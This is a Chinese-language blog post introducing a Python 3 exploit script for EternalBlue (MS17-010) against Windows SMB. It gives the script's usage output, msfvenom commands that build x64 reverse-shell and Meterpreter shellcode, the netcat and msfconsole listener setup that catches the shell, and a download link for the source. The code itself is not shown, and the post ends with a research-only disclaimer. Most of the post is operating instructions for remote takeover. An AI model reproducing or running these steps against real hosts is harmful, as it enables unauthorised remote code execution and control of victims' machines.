Eternalblue(MS17-010)纯Python3利用脚本

0x00 前言

前段时间Equation Group泄露Eternalblue(MS17-010)的利用工具,搭建环境比较麻烦,借助exploit-db上的exp优化修改了一个纯python3的利用脚本。

0x01 使用简介

1.直接运行python3 ./ms17-010.py,提示使用方法及以x64为例的shellcode生成命令(亲测直接用Dll文件会蓝屏)

1
2
3
4
5
6
7
Usage: python3 ./ms17-010.py --host xxx --file xxx --port xxx

[!] You can make a nc reverse shell USER_SHELLCODE_FILE in kali2.0 by use :
"msfvenom -p windows/x64/shell_reverse_tcp LHOST=x.x.x.x LPORT=xxx -f raw > shellcode"

[!] You can make a meterpreter reverse shell USER_SHELLCODE_FILE in kali2.0 by use :
"msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx -f raw > shellcode"

2.直接运行python3 ./ms17-010.py -h提示参数的含义(除非getshell以后的特殊提权利用以外,通常不需要修改端口号)

1
2
3
4
5
6
7
8
9
usage: ms17-010.py [-h] [--host HOST] [--port PORT] [--file FILE]

Process some integers.

optional arguments:
-h, --help show this help message and exit
--host HOST, -H HOST Host ip
--port PORT, -p PORT Target port,defalut:445
--file FILE, -f FILE User shellcode file

3.利用反弹shellcode需要在反弹主机上监听对应端口
3.1 nc:

1
nc -lvp 8888

3.2 meterpreter:

1
2
3
4
5
msfconsole
use exploit/multi/handler
set windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport xxx

0x02 源码

http://blackwolfsec.cc/static/code/ms17-010.py

提示:
本博客里任何文章/动画/教程以及各类软件/工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负。